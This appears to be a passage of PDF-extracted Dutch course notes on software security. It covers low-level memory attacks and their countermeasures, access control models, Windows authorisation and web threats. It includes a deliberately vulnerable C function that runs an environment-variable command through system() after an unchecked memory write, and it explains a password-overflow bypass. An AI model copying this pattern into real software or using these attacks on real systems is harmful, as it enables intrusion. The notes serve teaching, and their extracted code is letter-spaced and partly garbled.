Figuur 2.14: De trampoline code die gebruikt wordt om de stack pointer naar het gewilde address te verplaatsen en dan een eerste keer te returnen. Deze code bevint zich ergens in het geheugen en als het address geweten is kan die dus worden misbruikt.
Figuur 2.15: De stack zoals die eruit ziet in de median functie.
2.2. AANVALSVOORBEELDEN
19
Figuur 2.16: Voorbeeld van onveilig password checking programma.
2.2.4
Data-only attacks
Dit soort aanvallen bestaat erin enkel de data van een programma te veranderen. Afhankelijk van die data kan dit tot interessante exploits leiden. We bekijken er hier twee: Unix password attack en overwriting the environment table. Unix password attack In figuur ?? staat een voorbeeld van een programma dat op een onveilige manier een wachtwoord controleert. In een oude versie van Unix werd dit gebruikt maar dit is eenvoudig te omzeilen. Als er immers een wachtwoord wordt ingegeven dat bestaat uit pw —— hash(pw) en het pw is lang genoeg dan overflowt het wachtwoord in de hash. Bijgevolg zal er altijd toegang worden verschaft. Overwriting the environment table Doordat er soms assumpties worden gemaakt over de environment table door de programmeur kan dit worden uitgebuit. In figuur ?? zien we kwetsbare code. De waarde achter de environment variable “SAFECOMMAND” wordt met een system call uitgevoerd. Maar aangezien we de offset van de data buffer en zijn waarde kunnen bepalen kunnen we in een (bijna) arbitraire geheugenlocatie schrijven en dus de waarde horend bij “SAFECOMMAND” veranderen in value. 1 2 3 4 5 6 7 8 9 10 11 12 13
void run command with argument ( p a i r s ∗ data , i n t o f f s e t , i n t v a l u e ) { // must have o f f s e t be a v a l i d i n d e x i n t o d a t a char cmd [MAX LEN ] ; data [ o f f s e t ] . argument = v a l u e ; { char v a l u e s t r i n g [MAX LEN ] ; i t o a ( v a l u e , v a l u e s t r i n g , 10 ) ; s t r c p y ( cmd , g e t e n v ( ”SAFECOMMAND” ) ) ; s t r c a t ( cmd , ” ” ) ; s t r c a t ( cmd , v a l u e s t r i n g ) ; } data [ o f f s e t ] . r e s u l t = system ( cmd ) ; }
20
HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING
Figuur 2.17: Stack layout met canary als er een overflow gebeurdt is.
code//dataonly.c
2.3 2.3.1
Verdedigings voorbeelden Stack canaries
Het idee van een stack canary is vrij eenvoudig en tegelijk behoorlijk effectief. Net voor elke base pointer of return address wordt een zeker waarde in het stack frame geplaatst. Elke keer er nu een return gebeurdt wordt de waarde gecontroleerd of die al dan niet verandered is. Die waarde noemen we dan een “canary”, genoemd naar de canaries die werden gebruikt in de koolmijnen om giftige gassen vroegtijdig te ontdekken. In figuur 2.17 wordt er getoond hoe een overflow met een Canary eenvoudig kan worden gededecteert.
2.3.2
Non-executable data
Direct code injection aanvallen voeren een bepaald stuk code uit dat op de stack staat. De meeste normale programmas doen dit echter zelden dus een countermeasure kan erin bestaan om de heap en stack volledig als non-executable data te markeren. Dit voorkmont dan direct code injection maar
2.4. CONCLUSIE
21
Figuur 2.18: Afbeelding die Control Flow Integrety met labels illustreert. geen data-only attacks of return-into-libc. Bovendien kan het zijn dat bepaalde legacy programmas hier wel op steunen en dus met deze maatregel niet meer werken.
2.3.3
Control-flow integrity
De meeste aanvallen die we bespraken breken de control flow zoals die gecodeerd is in de broncode. Een mogelijke countermeasure is dus het controleren dat de control-flow gezond blijft at runtime. Dit kan er bijvoorbeeld in bestaan om te controleren dat een functie altijd terugspringt naar van waar hij is opgeroepen. Andere mogelijkheden kunnen erin bestaan expliciet te controleren of pointers een geldige mogelijke waarde hebben. Dit kan eenderzijds expliciet in de programma broncode worden gedaan. Anderzijds kan er een control-flow graph worden opgezet die gelinkt is aan mogelijke labels naar waar een call kan springen of kan van returnen. Met deze graph kan er dan dynamisch code geinserteerd worden die controleert of elke sprong geldig is door de labels na te kijken. Een voorbeeld daarvan is te vinden in figuur 2.18.
2.3.4
Layout randomization
De meeste van deze low-level aanvallen steunen op kennis van run time memory adressen. Door artificiele variatie in deze adressen te introduceren verhoogt de moeilijkheid voor deze aanvallen aanzienlijk. Zo’n Adress Space Layout Randomization (ASLR) is een goedkope en effectieve countermeasure tegen dergerlijke aanvallen.
2.4
Conclusie
Door het implementeren van de countermeasures is er een soort arms-race ontstaan tussen aanvallers en verdedigers. Countermeasures zijn zelden perfect en de aanvallers bedenken nieuwe manieren om die te omzeilen. Hoewel het met de countermeasures veel moeilijker is om in C-family talen dergerlijke aanvallen te doen is het van security standpunt veiliger om over te stappen naar safe languages (bvb. Java of C#). Een samenvatting van hoe de countermeasures die we bespraken de aanvallen (trachten) te voorkomen vind u in tabel 2.1.
22
HOOFDSTUK 2. LOW-LEVEL SOFTWAREBEVEILIGING Return address corruption
Stack Canary Control-flow integrety Control-flow integrety Address Space Layout Randomization
Jump-to-libc
Non-control data
Partial defense Partial defense
Heap Function pointer corruption n/a Partial defense
Partial defense Partial defense
Partial defense
Partial defense
Partial defense
Partial defense
Partial defense
Partial defense
Partial defense
Partial defense
Tabel 2.1: Overzicht van aanvallen en verdedigings mechanismes voor low-level attacks. De besproken “automatische” verdedigingsmechanismes zijn maar een deel van het beveiligen van C software. Andere onderdelen zijn o.a.: Threat modeling, Code Review en Security Testing.
Hoofdstuk 3
Authenticatie en toegangscontrole 3.1
Inleiding
Beveiliging is het voorkomen en opsporen van ongeautoriseerde gebeurtenissen met betrekking tot informatie. We kunnen twee belangrijke gevallen onderscheiden: • Een aanvaller heeft toegang tot de bits die de informatie voorstelt. Hier is nood aan cryptografische technieken. • Er bevindt zich een softwarelaag tussen de aanvaller en de informatie. Hier is nood aan toegangscontrole.
3.1.1
Algemeen model
Een algemeen model voor toegangscontrole bestaat uit volgende elementen: Principal, Action, Guard en Protected System. Principal Host User Java Program User User
3.1.2
Action Packet send Open File Open File Query Get page
Guard Firewall OS Kernel Java Security Manager DBMS Web Server
Protected System Intranet File System File Database Web Site
Principal
Authenticatie bestaat uit het verifi¨eren van de geclaimde identiteit van een entiteit (de principal) waarmee de guard interageert. Deze entiteit kan een menselijke gebruiker zijn, een computer, een gebruiker op een andere computer of een gebruiker die een specifiek stuk code uitvoert. Afhankelijk van de entiteit is er nood aan een andere oplossing. We beperken ons hier tot het geval waarbij de principal een gebruiker is. De authenticatie kan bestaan uit het kennen van een geheim (paswoord of PIN), uit het bezitten van een fysieke eigenschap (biometrie) of door in het bezit te zijn van een token (smartcard, 23
24
HOOFDSTUK 3. AUTHENTICATIE EN TOEGANGSCONTROLE
digipas). Andere opties zijn het verifi¨eren of een gebruiker op een bepaalde locatie is (dialback) of in staat is iets te doen (handtekening, CAPTCHA).
3.1.3
Guard
Wanneer de guard een actie ontvangt beslist hij wat ermee te doen. We beschouwen enkel het geval waarbij de keuze bestaat uit pass of drop maar er zijn verschillende alternatieven mogelijk. De guard kan gemodelleerd worden als een beveiligingsautomaat die zich in een zekere toestand bevindt. Zijn verzameling toestanden wordt dan gekenmerkt door een aantal getypeerde toestandsvariabelen. Overgangen kunnen worden beschreven door predicaten gebaseerd op de lokale toestand en de actie.
3.2
Klassieke modellen toegangscontrole
We maken onderscheid tussen tussen het toegangscontrolebeleid (access control policy) en het toegangscontrolemodel (access control model ). Het beleid bepaalt de regels die zeggen wat toegestaan is en wat niet. De semantiek hiervan correspondeert met een zekere toestand in de beveiligingsautomaat. Het toegangsmodel is een verzameling policies met gelijkaardige karakteristieken. het model maakt bepaalde beslissingen over wat zich in de beveiligingstoestand bevindt en hoe acties worden afgehandeld.
3.2.1
Discretionary Access Control (DAC)
Dit model heeft als doel informatie te delen onder controle van diens eigenaar. De sleutelconcepten zijn: • Principals zijn gebruikers • Beschermde systeem beheert objecten • Passieve entiteiten vereisten gecontroleerde toegang
• Objecten worden benaderd aan de hand van operaties • Elk object heeft een eigenaar • De eigenaar kan rechten toekennen aan andere gebruikers om operaties uit te voeren.
Er bestaan verschillende varianten die het mogelijk maken om het eigendomsrecht van een object door te geven, om het recht tot toekenning van rechten door te geven of om rechten al dan niet te kunnen intrekken. Beveiligingsautomaat voor DAC 1 2 3 4 5 6
t y p e Right = <User , Obj , { read , w r i t e } >; Set<User> u s e r s = new S e t ( ) ; Set
o b j e c t s = new S e t ( ) ; Set r i g h t s = new S e t ( ) ; // r e p r e s e n t s t h e A c c e s s C o n t r o l Matrix Map ownerOf = new Map ( ) ;
3.2. KLASSIEKE MODELLEN TOEGANGSCONTROLE 7 8 9
25
// A c c e s s c h e c k s v o i d r e a d ( User u , Obj o ) r e q u i r e s i n r i g h t s ; {} v o i d w r i t e ( User u , Obj o ) r e q u i r e s i n r i g h t s ; {}
10 11 12 13 14 15
// A c t i o n s t h a t impact t h e p r o t e c t i o n s t a t e v o i d addRight ( User u , Right < u , o , r >) r e q u i r e s ( u i n u s e r s ) && ( u i n u s e r s ) && ( o i n o b j e c t s ) && ownerOf [ o ] == u ; { r i g h t s [< u , o , r >] = t r u e ; // means : add < u , o , r> t o t h e r i g h t s s e t }
16 17 18 19 20
v o i d d e l e t e R i g h t ( User u , Right < u , o , r >) r e q u i r e s ( u i n u s e r s ) && ( u i n u s e r s ) && ( o i n o b j e c t s ) && ownerOf [ o ] == u ; { r i g h t s [< u , o , r >] = f a l s e ; }
21 22 23 24 25 26
v o i d addObject ( User u , Obj o ) r e q u i r e s ( u i n u s e r s ) && ( o n o t i n o b j e c t s ) ; { objects [ o ] = true ; ownerOf [ o ] = u ; }
27 28 29 30 31 32 33
v o i d d e l O b j e c t ( User u , Obj o ) r e q u i r e s ( o i n o b j e c t s ) && ( ownerOf [ o ] == u ) ; { objects [ o ] = false ; ownerOf [ o ] = none ; rights = rights \ { < u , o , r > i n r i g h t s where }
o
==o } ;
34 35 36 37 38
// A d m i n i s t r a t i v e f u n c t i o n s v o i d addUser ( User u , User u users [ u ] = true ; }
) requires
u
notin users ; {
Listing 3.1: DAC Automaat
Eigenschappen Een nadeel van DAC is de lastige administratie en de beperkte mate van beveiliging. Door een groepsstructuur toe te voegen met groepen en negatieve permissies kan het DAC model worden uitgebreid. Het beheer blijft echter lastig. Ook uitbreidingen die structuren van operaties voorzien zijn mogelijk. DAC wordt doorgaans echter niet ge¨ımplementeerd aan de hand van een gecentraliseerde beveiligingstoestand. Typisch wordt er gebruik gemaakt van access control lists (Windows 2000) of capabilities (Unix).
3.2.2
Mandatory Access Control (MAC)
Het doel van dit model is strikte controle verkrijgen over de informatiestroom. Een concreet voorbeeld van dit model is Lattice Based Access Control (LBAC). Hierbij wordt een raster van veiligheidslabels opgesteld. Elk object en elke gebruiker worden gelabeld met een beveiligingslabel. Er wordt dan afgedwongen dat gebruikers enkel informatie kunnen zien onder hun veiligheidsniveau. Een beveiligingslabel bestaat is een tupel bestaande uit een level en een afdeling. Deze laatste bestaat uit een verzameling van categorie¨en. Een categorie is een sleutelwoord gerelateerd aan een project of interessegebied. De levels worden vervolgend lineair geordend. Bijvoorbeeld: Top Secret
26
HOOFDSTUK 3. AUTHENTICATIE EN TOEGANGSCONTROLE
- Secret - Confidential - Unclassified. Afdelingen worden geordend volgens het bevatten van een deelverzameling. De gebruiker start een sessie of onderwerp die wordt gelabeld bij creatie. Gebruikers met niveau L kunnen onderwerpen starten met labels L0 ≤ L. Volgende regels worden afgedwongen: • Een onderwerp met label L kan enkel objecten lezen met label L0 ≤ L. (geen read up) • Een onderwerp met label L kan enkel objecten schrijven met label L0 ≥ L. (geen write down) Deze laatste regel biedt een oplossing voor het trojan horse probleem. Beveiligingsautomaat voor LBAC 1 2 3
// S t a b l e p a r t o f t h e p r o t e c t i o n s t a t e Set<User> u s e r s ; Map<User , Label> u l a b e l ; // c l e a r a n c e o f u s e r s
4 5 6 7 8 9
// Dynamic p a r t o f t h e p r o t e c t i o n s t a t e Set o b j e c t s = new S e t ( ) ; Set<S e s s i o n > s e s s i o n s = new S e t ( ) ; Map<S e s s i o n , Label> s l a b e l = new Map ( ) ; // l a b e l o f s e s s i o n s Map o l a b e l = new Map ( ) ; // l a b e l o f o b j e c t s
10 11 12 13
// No r e a d up v o i d r e a d ( S e s s i o n s , Obj o ) r e q u i r e s s i n s e s s i o n s && o i n o b j e c t s && s l a b e l [ s ] >= o l a b e l [ o ] ; {}
14 15 16 17
// No w r i t e down v o i d w r i t e ( S e s s i o n s , Obj o ) r e q u i r e s s i n s e s s i o n s && o i n o b j e c t s && s l a b e l [ s ] <= o l a b e l [ o ] ; {}
18 19 20 21 22 23 24 25
// Managing s e s s i o n s and o b j e c t s v o i d c r e a t e S e s s i o n ( User u , L a b e l l ) r e q u i r e s ( u i n u s e r s ) && u l a b e l [ u ] >= l ; { s = new S e s s i o n ( ) ; sessions [ s ] = true ; slabel [ s ] = l ; }
26 27 28 29 30 31
v o i d addObject ( S e s s i o n s , Obj o , L a b e l l ) r e q u i r e s ( s i n s e s s i o n s ) && ( o n o t i n o b j e c t s ) && s l a b e l [ s ] <= l ; { objects [ o ] = true ; olabel [ o ] = l ; }
Listing 3.2: LBAC Automaat Eigenschappen De LBAC structuur is te stijf, er is nood aan vertrouwde objecten. Bovendien is het niet goed geschikt voor commerci¨ele omgevingen en lijdt het onder het covert channel probleem
3.2.3
Role-Based Access Control (RBAC)
Het doel van dit model is het voorzien van een beheerbaar toegangscontrolemodel. Centraal staat de rol. Een rol correspondeert met een gedefinieerde verzameling verantwoordelijkheden. Op deze
3.2. KLASSIEKE MODELLEN TOEGANGSCONTROLE
27
manier wordt er een many-to-many relatie gevormd tussen gebruikers en permissies. Conceptueel kunnen we een rol zien als een verzameling permissies die toegekend kunnen worden aan gebruikers. Wanneer een gebruiker een sessie start kan hij enkele of al zijn rollen activeren. Een sessie heeft vervolgens alle permissies geassocieerd met de geactiveerde rollen. Beveiligingsautomaat voor RBAC 1 2 3 4 5 6
// s t a b l e p a r t o f t h e p r o t e c t i o n s t a t e Set<User> u s e r s ; Set r o l e s ; Set perms ; Map<User , Set> ua ; // s e t o f r o l e s a s s i g n e d t o each u s e r Map> pa ; // p e r m i s s i o n s a s s i g n e d t o each r o l e
7 8 9 10 11
// dynamic p a r t o f t h e p r o t e c t i o n s t a t e Set<S e s s i o n > s e s s i o n s ; Map<S e s s i o n , Set> s e s s i o n r o l e s ; Map<User , Set<S e s s i o n >> u s e r s e s s i o n s ;
12 13 14 15 16
// a c c e s s c h e c k void checkAccess ( Session s , Permission p) r e q u i r e s s i n s e s s i o n s && E x i s t s { r i n s e s s i o n r o l e s [ s ] ; p i n pa [ r ] } ; { }
17 18 19 20 21 22 23 24 25 26 27 28
v o i d c r e a t e S e s s i o n ( User u , Set r s ) r e q u i r e s ( u i n u s e r s ) && r s < ua [ u ] ; { S e s s i o n s = new S e s s i o n ( ) ; sessions [ s ] = true ; session roles [ s ] = rs ; u s e r s e s s i o n s [ u ] [ s ] = true ; } v o i d dro pRo le ( User u , S e s s i o n s , Role r ) r e q u i r e s ( u i n u s e r s ) && ( s i n u s e r s e s s i o n s [ u ] ) && ( r i n s e s s i o n r o l e s [ s ] ) ; { session roles [ s ][ r ] = false ; }
RBAC Extension Een uitbreiding op het RBAC model bestaat uit het invoeren van hi¨erarchische rollen. Daarnaast kunnen ook beperkingen worden ingevoerd: • Static Constraints Beperkingen op de toekenning van gebruikersrollen. Bijvoorbeeld statische scheiding van plichten: niemand kan beide producten en bestellen en betalingen goedkeuren. • Dynamic Constraints Beperkingen op de gelijktijdige activatie van rollen. Bijvoorbeeld het afdwingen van de minst geprivilegieerde rol. Toepassing In realiteit wordt RBAC ge¨ımplementeerd in gegevensbanken of specifieke applicaties. In een besturingssysteem kan het worden gesimuleerd aan de hand van het groepconcept. Het kan ook op de applicatieserver worden gesimuleerd.
28
HOOFDSTUK 3. AUTHENTICATIE EN TOEGANGSCONTROLE
3.2.4
Andere modellen voor toegangscontrole
Enkele andere modellen: • Biba Model Afdwingen van integriteit a.d.h.v informatieverloop • Chinese Wall Model Dynamisch toegangscontrolemodel Een consultant kan enkel geheime bedrijfsinformatie zien van ´e´en bedrijf in elk mogelijk geval van conflict-of-interest.
3.3
Toegangscontrole voor code
Toegangscontrole voor code is noodzakelijk om applicaties uitbreidbaar te maken. Moderne programma’s bieden vaak de mogelijkheid tot uitbreiding at run time met mogelijk gedownloade code. Enkele voorbeelden hiervan zijn applets of controls op een webpagina, browser plugins, multimedia codes, etc. Het besturingssysteem voert de applicatie uit samen met al zijn (mogelijk minder betrouwbare) uitbreidingen. Hier faalt het model van ´e´en sessie (proces) met een vaste verzameling permissies. Wanneer er onbetrouwbare code wordt uitgevoerd moeten mogelijks de verstrekte permissies worden gereduceerd. Hiervoor is een nieuwe architectuur met betrekking tot toegangscontrole vereist.
3.3.1
Terminologie
Een component is een softwareonderdeel dat een eenheid vormt voor deployment en samengesteld kan zijn door derde partijen. Een applicatie kan bestaan uit meerdere componenten waarbij sommige meer betrouwbaar zijn dan anderen. Een applicatie kan bovendien worden uitgebreid at run time met nieuwe componenten. Een permissie encapsuleert de rechten om middelen aan te spreken of operaties uit voeren. Elke keer een middel wordt aagesproken of een gevoelige operatie wordt uitgevoerd wordt expliciet gecontroleerd welke componenten actief zijn aan de hand van stack inspection. Wanneer er een onregelmatigheid optreedt wordt een exceptie gegooid. Permissies weerspiegelen het recht om een actie te ondernemen. Een beveilingsbeleid kent permissies toe aan componenten. Dit wordt typisch ge¨ımplementeerd als een configureerbare functie die evidence toekent aan permissies. Dit evidence is relevante informatie over de component, zoals waar het vandaan komt en/of het digitaal ondertekend is. Wanneer een component wordt geladen checkt de VM de permissies en onthoudt ze voor de volgende keer.
3.3.2
Stack Walking
Elke poging tot het aanspreken van middelen of uitvoeren van een gevoelige operatie via de platform library is beschermd door een demandPermission(P) oproep voor een gewenste permissie P. Het algoritme hierachter maakt gebruik van stack inspection en stack walking. Let wel op: of dit veilig is, is sterk afhankelijk van de programmeertaal.
3.3. TOEGANGSCONTROLE VOOR CODE
29
Veronderstel dat een thread T poogt om een resource aan te spreken. De basisregel stelt dat dit wordt toegestaan wanneer alle componenten op de stack het recht hebben om deze resource aan te spreken. Dit algoritme is echter vaak te restrictief. Beschouw het geval waarin we een vertrouwde component het recht willen geven om bepaalde vensters te openen zonder het recht te geven om arbitraire vensters te openen. De oplossing is door gebruik te maken van stack walk modifiers. • Enable permission(P) – De oproeper worden niet gecheckt en de vragende partij neemt volledige verantwoordelijkheid. – Essentieel om gecontroleerde toegang tot resources mogelijk te maken voor minder betrouwbare code. • Disable permission(P) – De oproeper zegt dat hij deze permissie niet nodig heeft. – Nodig voor principle of least privileged. Beveiligingsautomaat voor stack inspection 1 2 3 4 5 6
// NOTE: o n l y s u p p o r t f o r e n a b l i n g o f p e r m i s s i o n s , at om ic p e r m i s s i o n s , // and s i n g l e t h r e a d i n g t y p e StackFrame = > // s e t o f e n a b l e d perms Set components = new S e t ( ) ; Map> perms = new Map ( ) ; // s t a t i c p e r m i s s i o n s L i s t <StackFrame> c a l l s t a c k = new L i s t ( ) ;
7 8 9 10 11 12 13 14 15 16 17
// A c c e s s c h e c k s v o i d demand ( P e r m i s s i o n p ) r e q u i r e s demandOK( c a l l s t a c k , p ) ; {} b o o l demandOK( L i s t <StackFrame> s t a c k , P e r m i s s i o n p ) // pure h e l p e r f u n c t i o n { f o r e a c h ( i n s t a c k ) { i f ! ( p i n perms [ cp ] ) r e t u r n f a l s e ; i f ( p i n ep ) r e t u r n t r u e ; }; return true ; }
18 19 20 21 22 23 24 25 26
// E n a b l i n g a p e r m i s s i o n void enable ( Permission p) r e q u i r e s ( l e t = c a l l s t a c k . Top i n ( p i n perms [ c ] ) ) ; { = c a l l s t a c k . Pop ( ) ; ep [ p ] = t r u e ; c a l l s t a c k . Push() ; }
27 28 29 30 31 32
// c a l l i n g a f u n c t i o n i n component c v o i d c a l l ( Component c ) r e q u i r e s ( c i n components ) ; { c a l l s t a c k . Push() ;
30 33
HOOFDSTUK 3. AUTHENTICATIE EN TOEGANGSCONTROLE
}
34 35 36 37 38 39
// r e t u r n i n g from a f u n c t i o n void return ( ) r e q u i r e s true ; { c a l l s t a c k . Pop ( ) ; }
3.4
Conclusie
We kunnen concluderen dat de meeste modellen het Lampson model implementeren met principal, action, guard en protected system. Daarnaast zien we dat beveiligingsautomaten een krachting concept vormen om de semantiek van de beveiligingsbeleid voor te stellen. Vervolgens hebben we drie modellen besproken met elk hun eigen toepasbaarheidsgebied: • DAC: Besturingssystemen • RBAC: Applicaties en gegevensbanken • LBAC: Begint stilaan gebruikt te worden voor integriteitsbescherming. Tenslotte besproken we Code Access Control wat een andere aanpak vereiste dan de andere modellen.
3.5
Windows toegangscontrole en authenticatie
Bij het Windowsbesturingssysteem zijn de principals de gebruikers, machines of groepen. Deze worden ge¨ıdentificeerd aan de hand van hi¨erarchischer en globaal unieke Security Identifiers. Authorities beheren de principals en hun credentials. Op elke computer is een dergelijke Local Security Authority aanwezig. De Domain Controller is de authority voor het domein. Tussen Authorities heerst vertrouwen. Zo vertrouwt een computer die deel uitmaakt van een domein het domein zelf. Verschillende domeinen kunnen vetrouwenslinken tussen elkaar vastleggen.
3.5.1
Logon Session
Authenticatie gebeurt lokaal aan de hand van een wachtwoord. Wanneer de computer deel uitmaakt van een domein wordt Kerberos of NTLM gebruikt. Succesvolle authenticatie leidt tot een logon session. Hiervan bestaan verschillende varianten: • Interactieve logon session voor gebruiker die lokaal aangemeld zijn. • Network logon session voor gebruiker die op afstand zijn aangemeld. • Service logon session voor services die uitgevoerd worden onder de naam van een gebruiker. De logon session ontvangt een access token die alle autorisatie-attributen bevat die verbonden zijn met de gebruiker. Alle processen of threads die worden aangemaakt onder een logon session ontvangen dezelfde access token.
3.5. WINDOWS TOEGANGSCONTROLE EN AUTHENTICATIE
3.5.2
31
Access Token
• SID voor de gebruiker • SID’s voor de groepen waartoe de gebruiker behoort – Gedefinieerd door de authority (doorgaans het domein) – weerspiegelt de organisationele stuctuur • SID’s voor de lokale groepen waartoe de gebruiker behoort – Lokaal gedefinieerd – weerspiegelt de logische rollen van applicaties • Privileges voor de gebruiker
3.5.3
Windows Security Descriptor
Elk beschermbaar object draagt een security descriptor. Voorbeelden van dergelijke objecten zijn bestanden, registers, gedeelde geheugenplaatsen, etc. Deze descriptor bestaat uit: • Eigenaars SID • Primaire groep SID • DACL (Discretionary ACL): gebruikt voor toegangscontrole • SACL (System ACL): specificeert wat geauditeerd moet worden Deze wordt aangemaakt op basis van een standaardvoorbeeld op het moment dat een object wordt gecreerd. Windows DACL Een DACL bevat een gesorteerde lijst met toegangscontrole-elementen. Elk item verleent of verbiedt een specifiek toegangsrecht aan een groep gebruikers. Items die toegang verbieden worden vooraan in de lijst geplaatst. De kernel voert toeganscontrole checks uit voor elk beveiligbaar object. • Overloop alle items in de DACL van het object. • Elk item wordt gematcht op een access token van de vragende thread. • De eerste match beslist, wat verklaart waarom verbiedende items eerst in de lijst geplaatst moeten worden.
3.5.4
Caching
Uitgebreide caching wordt gebruikt om de performantie op te drijven. Zo worden de autorisatie attributen gecached. Daarnaast, wanneer een bestand wordt geopend, wordt diens file handle gebruikt als capability zodat verder geen toegangscontrole dient te worden uitgevoerd. Dit betekent echter wel dat verandering pas worden doorgevoerd zodra de gebruiker zich opnieuw aanmeldt.
32
HOOFDSTUK 3. AUTHENTICATIE EN TOEGANGSCONTROLE
3.5.5
Toegangcontrole in applicaties
• Impersionation De server verifieert de cli¨ent en bindt diens token aan de thread die de aanvraag uitvoert. • Role-Based Zoek de lokale groep SID die overeenkomt met de rol van het access token van de cli¨ent. • Object-Based Beheer zelfs ACL’s aan de hand van een API.
3.5.6
Running least privilege
Het mechanisme voor toegangscontrole van het besturingssysteem kan ook gebruikt worden om programma’s te sandboxen en zo het OS te beschreven tegen kwetsbaarheden in het programma, virussen, of Trojaanse paarden. Er moet echter aandacht worden besteed aan welke objecten de applicatie nodig heeft en welke geprivilegieerde API’s het programma wilt aanspreken.
3.5.7
Windows Vista’s integriteitsbescherming
Windows Vista voegt een lattice-based toegangscontrolesysteem toe aan zijn model. Het wordt gebruikt voor integriteitscontrole (cfr. Biba model) Beveiligbare objecten ontvangen een integriteitsniveau wat weerspiegelt hoe belangrijk diens integriteit is. Ook access tokens ontvangen een niveau wat weerspiegelt hoe ”ge¨ınfecteerd”ze zijn. Er wordt onderscheid gemaakt tussen drie niveaus: High (admin), Medium (gebruiker) en Low (niet vertrouwd).
Hoofdstuk 4
Webapplicaties 4.1
Het webplatform
Een gebruiker start een webapplicatie door in zijn browser te navigeren naar een URL: 1
scheme : / / l o g i n . passwd@address : p o r t / path / t o / r e s o u r c e ? query \ s t r i n g#f r a g m e n t
Listing 4.1: URL Deze URL, die een HTTP dialoog start tussen de browser en de server bestaat uit: 1. Schema of protocolnaam: http, https, ftp
5. Hi¨erarchisch pad naar de resource
2. Credentials: loginnaam en wachtwoord 6. Een optionele query string parameter 3. Adres: een DNS naam of een IP adres 4. Poort: optioneel poortnummer
4.1.1
7. Een optionele fragment identificatie
HTTP
Het Hypertext Transfer Protocol is een toestandsloos applicatie-level request-response protocol. Het wordt vaak gecombineerd met mechanismen om toch een toestand te kunnen bijhouden. Daarnaast wordt het doorgaans gecombineerd met extensies voor authenticatie en veilige communicatie. Het protocol voorzien verschillende methoden waarvan er slecht twee veel gebruikt worden in praktijk: • GET bedoeld voor het ophalen van informatie. • POST bedoeld voor het doorsturen van informatie. De requests kunnen een vari¨eteit aan headers bevatten, waarvan de meeste veiligheidsgerelateerd. HTTPS Het Hypertext Transfer Protocol biedt zelf geen veilige communicatie aan. Het HTTPS schema gebruikt HTTP bovenop het SSL/TLS protocol. Dit is een gestandaardiseerd transport layer 33
34
HOOFDSTUK 4. WEBAPPLICATIES
protocol dat een veilige verbinding aanbiedt. Dit protocol is in grote mate configureerbaar wat de veiligheidsgaranties hier sterk afhankelijk van maakt. • Gewoonlijk: integriteit en vertrouwelijkheid van communicatie • Soms: authentificatie van de server • Zelden: authentificatie van de cli¨ent HTTP Cookie Het cookiemechanisme laat de server toe om key-value pairs bij te houden in de browser. De server gebruikt hiervoor de set-cookie header om de cookie te plaatsen. Alle relevante cookies worden meegestuurd in de header bij elke request naar de server. De server heeft controle over aspecten zoals de vervaldatum, de strekking en de beveiliging van de cookie. HTTP Sessions Om request van een gebruiker te groeperen maakt de server een session-id voor elke gebruiker. Om te zorgen dat deze telkens wordt meegestuurd bij elke request kan gebruik gemaakt worden van cookies of door het embedden van het session-id in de URL. Vanuit beveiligingsperspectief zijn web sessies zeer fragiel. HTTP Authenticatie Er bestaat verschillende mogelijkheden tot authenticatie: • Basic HTTP Authenticatie Een gebruikersnaam en wachtwoord worden meegestuurd in de header van een request. • Applicatie-level authenticatie Aan de hand van een form worden gebruikersnaam en wachtwoord doorgestuurd naar de server. Optimaal gebeurt dit via HTTPS. • Single-Sign-On Ondersteunen van een enkelvoudige combinatie van gebruikersnaam en wachtwoord voor meerdere webapplicaties.
4.1.2
De browser
De browser toont HTML en voert JavaSript code uit. Het handelt gebruikers- en netwerkgebeurtenissen af. Daarnaast biedt het een krachtige API aan voor scripts: • Inspecteren en aanpassen van de pagina
• Zenden en ontvangen van HTTP
• Inspecteren en aanpassen van metadata
• Afhandelen van gebeurtenissen
4.2. BEDREIGINGSSCENARIO’S
4.2
35
Bedreigingsscenario’s
Daar het web een complex applicatieplatform vormt en er verschillende belanghebbenden zijn betekent veiligheid iets verschillend voor elke belanghebbende. Tegenmaatregelen doen veronderstellingen met betrekking tot welke stakeholders kwaadaardig zijn en welke niet. In dit onderdeel worden enkele veelvoorkomende aanvallen beschreven.
4.2.1
Scenario’s
Een overzicht van de scenario’s • Goedaardige browser interageert met kwaadaardige server. De server valt de browser aan. • Kwaadaardige server valt andere open sites aan. • Kwaadaardige browser valt server aan. • Aanvaller luister netwerkcommunicatie af. • Aanvaller injecteert goede site met kwaadaardige inhoud. Kwaadaardige server valt browser aan De tegenmaatregel bestaat uit een defensieve implementatie van de browser. Dit gebeurt in eerste instantie door implementation level kwetsbaarheden te voorkomen. Daarnaast moet er een veilig ontwerp aan de basis liggen van de API’s die worden aangeboden aan scripts: • Scripts hebben geen toegang tot algemeen bestandssysteem. • Scripts hebben geen toegang tot algemene netwerk API. • Scripts hebben geen toegang tot algemene GUI API. Ondanks deze tegenmaatregelen blijven veel aanvallen mogelijk. Het exploiteren van low-level kwetsbaarheden in de browser blijft een veelvoorkomende activiteit. Bovendien bevat de browser privacy-gevoelige informatie die gelekt kan worden. Tenslotte gaan veel servers een vingerafdruk nemen van de browser om zo de gebruiker te tracken. Server valt andere open pagina aan De remedie tegen deze aanval is het afdwingen van de same-origin-policy (SOP). Dit is een verzameling beveiligingsbeperkingen die worden geimplementeerd in de browser: • Scripts kunnen enkel aan informatie die afkomstig is van dezelfde oorsprong als het script. • Een oorsprong wordt weergegeven als een triplet: <scheme, address, port> • De HTML inhoud hoort bij de origin vanwaar het was gedownload. • Scripts horen tot de origin van het HTML document waardoor ze geladen zijn.
36
HOOFDSTUK 4. WEBAPPLICATIES
Deze techniek beschermt websites tegen kwaadaardige scripts van kwaadaardige websites die gelijktijdig geopend zijn in de browser. Deze techniek is echter niet perfect. Door entiteiten in het DOM kan een script een HTTP request starten bij een andere server. Wanneer de browser geprivilegieerde toegang heeft tot een server kan deze worden misbruikt door de aanvaller. Zo kan een script bijvoorbeeld toegang verkrijgen tot servers achter een firewall. Een ander voorbeeld is wanneer een gebruiker een geautoriseerde sessie heeft met een andere server en een script hierdoor geautoriseerde requests kan sturen. Een andere aanvalsmethode bestaat er in event-handlers te overloaden en zo te achterhalen of een server bestaat of beschikbaar is voor de gebruiker. Kwaadwillige cli¨ ent valt server aan De tegenmaatregelen voor deze aanval zijn vanzelfsprekend: toegangscontrole en authenticatie uitvoeren op de server. Typische aanvallen zijn SQL injection, path injection of command injection. Aanvaller neust rond op het netwerk De tegenmaatregel hiervoor bestaat uit gebruik te maken van SSL/TLS. Mogelijke tegenaanvallen zijn op hun beurt het 